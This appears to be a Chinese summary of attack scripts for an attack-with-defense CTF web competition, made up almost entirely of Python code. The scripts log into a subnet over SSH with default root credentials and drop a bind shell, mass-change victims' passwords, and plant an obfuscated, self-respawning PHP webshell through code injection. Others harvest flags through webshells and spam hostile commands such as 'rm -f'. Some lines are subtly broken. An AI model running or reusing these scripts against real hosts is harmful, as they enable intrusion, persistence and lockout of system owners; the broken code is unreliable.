Awd-web小结

#-*- coding:utf-8 -*-

import paramiko

ip = '192.168.1.137'

port = '22'

username = 'root'

passwd = 'toor'

# ssh 用户名 密码 登陆

def ssh_base_pwd(ip,port,username,passwd,cmd='ls'):

    port = int(port)

    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    ssh.connect(hostname=ip, port=port, username=username, password=passwd)

    stdin,stdout,stderr = ssh.exec_command(cmd)

    result = stdout.read()

    if not result :

        print("无结果!")

        result = stderr.read()

    ssh.close()

    return result.decode()

a = ssh_base_pwd(ip,port,username,passwd)

print(a)

#-*- coding:utf-8 -*-

import paramiko

import threading

import queue

import time

#反弹 shell python

q=queue.Queue()

#lock = threading.Lock()

# ssh 用户名 密码 登陆

def ssh_base_pwd(ip,port,username,passwd,cmd):

    port = int(port)

    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    ssh.connect(hostname=ip, port=port, username=username, password=passwd)

    stdin,stdout,stderr = ssh.exec_command(cmd)

    result = stdout.read()

    if not result :

        result = stderr.read()

    ssh.close()

    return result.decode()

def main(x):

    shell = '''

    #服务器端

    import socket

    import os

    s=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.bind(('0.0.0.0',1234))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接

    s.listen(5)                 #调用listen方法开始监听端口，传入的参数为等待连接的最大数量

    con,addr=s.accept()     #接受一个客户端的连接

    #print(con,addr)

    for i in range(10):

        cmd=con.recv(1024)

        print(cmd)

        command=cmd.decode()

        if command.startswith('cd'):

            os.chdir(command[2:].strip())   #切换路径

            result=os.getcwd()      #显示路径

        else:

            result=os.popen(command).read()

        if result:

            con.send(result.encode())

        else:

            con.send(b'OK!')

    '''

    cmd = 'echo \"%s\" > ./shell.py' % (shell) +'&& python3 ./shell.py'

    port = '22'

    username = 'root'

    passwd = 'toor'

    ip = '192.168.1.{}'.format(x)

    q.put(ip.strip(),block=True, timeout=None)

    ip_demo=q.get()

    #判断是否成功

    try:

        #lock.acquire()

        res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')

        if res:

            print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")

            #lock.release()

            ssh_base_pwd(ip_demo,port,username,passwd,cmd)

    except:

        print("[ - ]Ip: %s" % ip_demo +" is Failed")

    if x > 255:

        print("Finshed!!!!!!!!")

    q.task_done()

#线程队列部分

th=[]

th_num=255

for x in range(th_num):

        t=threading.Thread(target=main,args=(x,))

        th.append(t)

for x in range(th_num):

        th[x].start()

for x in range(th_num):

        th[x].join()

#q.join () 所有任务完成

import paramiko

import sys

ssh_clients = []

timeout = 5

new_password = "xcxy@ncwss123"

class SSH_Client():

    def __init__(self, host, port, username, password):

        self.is_root = False

        self.host = host

        self.port = port

        self.username = username

        self.password = password

        self.ssh = paramiko.SSHClient()

        self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        self.ssh.connect(self.host, self.port, self.username, self.password, timeout=timeout)

    def exec_command(self, command):

        stdin, stdout, stderr = self.ssh.exec_command(command)

        return stdin, stdout, stderr

    def change_password(self):

        stdin, stdout, stderr = self.exec_command("passwd")

        if self.username != "root":

            stdin.write("%s\n" % self.password)

        stdin.write("%s\n" % new_password)

        stdin.write("%s\n" % new_password)

        stdout.read()

        if "success" in stderr.read().decode('utf-8'):

            self.password = new_password

            return True

        else:

            return False

    def save_log(self, filename):

        with open(filename, "a+") as f:

            f.write("%s %s %s %s\n" % (self.host, self.port, self.username, self.password))

if __name__ == "__main__":

    if len(sys.argv) != 2:

        print("Usage:")

        print("\t python %s [FILENAME]" % (sys.argv[0]))

        exit(1)

    filename = sys.argv[1]

    print(" [+] Loading file : %s" % filename)

    with open(filename) as f:

        for line in f:

            line = line.rstrip("\n")

            data = line.split(" ")

            host = data[0]

            port = int(data[1])

            username = data[2]

            password = data[3]

            print(" [+] Trying login : %s" % host)

            try:

                ssh_client = SSH_Client(host, port, username, password)

            except Exception as e:

                print(" [-] %s" % e)

                continue

            ssh_clients.append(ssh_client)

    print(" [+] Login finished. ")

    print(" [+} Got [%d] clients. " % len(ssh_clients))

    if len(ssh_clients) == 0:

        exit()

    print(" [+] Starting changing password. ")

    for ssh_client in ssh_clients:

        if ssh_client.change_password():

            print(" [+] %s (Success!)" % ssh_client.host)

            ssh_client.save_log("success.log")

        else:

            print(" [+] %s (Failed!)" % ssh_client.host)

    print(" [+] something like interesting!!! ")

import fontTools.afmLib

import requests

import json

import re

with open("url.txt","r") as url1:

    data=url1.readlines()

paylaod2 = {"flag": ""}

header2 = {

    "token": "",

    "Cookie": ""}

#平台 url

url2 = ""

while True:

    for i in data:

        urlpro="http://{}/.a.php?c=system('cat /flag.txt');".format(i)

        res=requests.get(urlpro)

        #print(urlpro)

        p=re.compile("flag.*}")

        a="".join(p.findall(res.text))

        print(a)

        paylaod2["flag"] = a

        # print(paylaod2)

        # post 请求

        res2 = requests.post(url2, paylaod2, headers=header2)

import time

import requests

import json

with open("url.txt", "r") as f:

    data = f.readlines()

    print(data)

nodie = "PD9waHAgc2V0X3RpbWVfbGltaXQoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KDEpOwokZmlsZT0iLmNvbmZpZzEucGhwIjsKJHNoZWxsPSJQRDl3YUhBZ0pHWmtlVUk5WTNKbFlYUmxYMloxYm1OMGFXOXVLSE4wY2w5eWIzUXhNeWduSkNjcExtSmhjMlUyTkY5a1pXTnZaR1VvSjJOM1BUMG5LUzV6ZEhKZmNtOTBNVE1vSjJJbktTNWphSElvTUhnMlpqaGxMekI0TVRBMktTNWlZWE5sTmpSZlpHVmpiMlJsS0NkYVVUMDlKeWtzWTJoeUtEQjRNVFpqWmpFdk1IZ3pPV1FwTG1Ob2NpZ3hNRFk1TURndk9UQTJLUzVpWVhObE5qUmZaR1ZqYjJSbEtDZFpVVDA5SnlrdVkyaHlLREF5TXpZMU1EQXZNREV6TmpBcExuTjBjbDl5YjNReE15Z25LQ2NwTG1Ob2NpZ3dNVEEwTnkwd01UQXdNeWt1YzNSeVgzSnZkREV6S0NkbUp5a3VjM1J5WDNKdmRERXpLQ2RpSnlrdVltRnpaVFkwWDJSbFkyOWtaU2duWWxFOVBTY3BMbUpoYzJVMk5GOWtaV052WkdVb0oxcFJQVDBuS1M1aVlYTmxOalJmWkdWamIyUmxLQ2RMVVQwOUp5a3VjM1J5WDNKdmRERXpLQ2M3SnlrcE95Um1aSGxDS0dKaGMyVTJORjlrWldOdlpHVW9KMDFVVFRKTkp5NG5lbU4zVHpBbkxpZENiR1JyUmljdUozTkxRMUptSnk0bkp5NWphSElvTURFek5USXRNREV5TWpVcExtTm9jaWcyT0RNeE1DODVPVEFwTG1Ob2NpZ3dlR05qT1dZdk1IZ3pPVGNwTG1KaGMyVTJORjlrWldOdlpHVW9KMVpCUFQwbktTNXpkSEpmY205ME1UTW9KMGtuS1M0bkp5NG5KeTVqYUhJb09EQTNMVGN6TnlrdWMzUnlYM0p2ZERFektDZG5KeWt1WTJoeUtEVXdOVFEwTHprM01pa3VZMmh5S0RCNE16Rm1MVEI0TW1NMktTNWphSElvTURjME5EUXdMekF4TVRRd0tTNG5KeTRuVm1STFZITW5MaWN3VFVScmVDY3VKMDFVUVRjbkxpY25LU2s3UHo0PSI7CndoaWxlKDEpCntmaWxlX3B1dF9jb250ZW50cygkZmlsZSxiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwogICAgc3lzdGVtKCdjaG1vZCA3NzcgLmNvbmZpZy5waHAnKTsKICAgIHRvdWNoKCIuY29uZmlnLnBocCIpOwogICAgdXNsZWVwKDUwKTt9Owo="

poc = "fputs(fopen('/var/www/html/nodie.php','w'),base64_decode('PD9waHAgc2V0X3RpbWVfbGltaXQoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KDEpOwokZmlsZT0iLmNvbmZpZzEucGhwIjsKJHNoZWxsPSJQRDl3YUhBZ0pHWmtlVUk5WTNKbFlYUmxYMloxYm1OMGFXOXVLSE4wY2w5eWIzUXhNeWduSkNjcExtSmhjMlUyTkY5a1pXTnZaR1VvSjJOM1BUMG5LUzV6ZEhKZmNtOTBNVE1vSjJJbktTNWphSElvTUhnMlpqaGxMekI0TVRBMktTNWlZWE5sTmpSZlpHVmpiMlJsS0NkYVVUMDlKeWtzWTJoeUtEQjRNVFpqWmpFdk1IZ3pPV1FwTG1Ob2NpZ3hNRFk1TURndk9UQTJLUzVpWVhObE5qUmZaR1ZqYjJSbEtDZFpVVDA5SnlrdVkyaHlLREF5TXpZMU1EQXZNREV6TmpBcExuTjBjbDl5YjNReE15Z25LQ2NwTG1Ob2NpZ3dNVEEwTnkwd01UQXdNeWt1YzNSeVgzSnZkREV6S0NkbUp5a3VjM1J5WDNKdmRERXpLQ2RpSnlrdVltRnpaVFkwWDJSbFkyOWtaU2duWWxFOVBTY3BMbUpoYzJVMk5GOWtaV052WkdVb0oxcFJQVDBuS1M1aVlYTmxOalJmWkdWamIyUmxLQ2RMVVQwOUp5a3VjM1J5WDNKdmRERXpLQ2M3SnlrcE95Um1aSGxDS0dKaGMyVTJORjlrWldOdlpHVW9KMDFVVFRKTkp5NG5lbU4zVHpBbkxpZENiR1JyUmljdUozTkxRMUptSnk0bkp5NWphSElvTURFek5USXRNREV5TWpVcExtTm9jaWcyT0RNeE1DODVPVEFwTG1Ob2NpZ3dlR05qT1dZdk1IZ3pPVGNwTG1KaGMyVTJORjlrWldOdlpHVW9KMVpCUFQwbktTNXpkSEpmY205ME1UTW9KMGtuS1M0bkp5NG5KeTVqYUhJb09EQTNMVGN6TnlrdWMzUnlYM0p2ZERFektDZG5KeWt1WTJoeUtEVXdOVFEwTHprM01pa3VZMmh5S0RCNE16Rm1MVEI0TW1NMktTNWphSElvTURjME5EUXdMekF4TVRRd0tTNG5KeTRuVm1STFZITW5MaWN3VFVScmVDY3VKMDFVUVRjbkxpY25LU2s3UHo0PSI7CndoaWxlKDEpCntmaWxlX3B1dF9jb250ZW50cygkZmlsZSxiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwogICAgc3lzdGVtKCdjaG1vZCA3NzcgLmNvbmZpZy5waHAnKTsKICAgIHRvdWNoKCIuY29uZmlnLnBocCIpOwogICAgdXNsZWVwKDUwKTt9Owo='));"

header2={"token":"",

         "Cookie":""}

#提交 flag

url4=""

payload2={"flag":""}

payload3={"xcu":"system('cat /flag.txt');"}

while True:

    for i in data:

        #执行命令

        url1 = "http://{}?a="+poc.format(i)

        #print(url1)

        res1 = requests.get(url1)

        url2 = "http://{}/nodie.php".format(i)

        #print(url2)

        res2 = requests.get(url2)

        url3 = "http://{}/.config1.php".format(i)

        #print(url3)

        res3 = requests.post(url3,payload3)

        p = res3.compile("flag.*}")

        a = "".join(p.findall(res.text))

        #print(a)

        # 将 a 存入 paylaod2 中

        paylaod2["flag"] = a

        #time.sleep(1)

        # print(paylaod2)

        # post 请求

        res2 = requests.post(url4, paylaod2, headers=header2)

        time.sleep(10)

import requests

import time

def scan_attack():

    file={'shell.php','x.php','index.php','web.php','1.php'}

    payload={'cat /flag','ls -al','rm -f','echo 1'}

    while(1):

        for i in range(8802, 8804):

            for ii in file:

                url='http://192.168.76.156:'+ str(i)+'/'+ii

                for iii in payload:

                    data={

                        'payload':iii

                    }

                    try:

                        requests.post(url,data=data)

                        print("正在搅屎:"+str(i)+'|'+ii+'|'+iii)

                        time.sleep(0.5)

                    except Exception as e:

                        time.sleep(0.5)

                        pass

if __name__ == '__main__':

    scan_attack()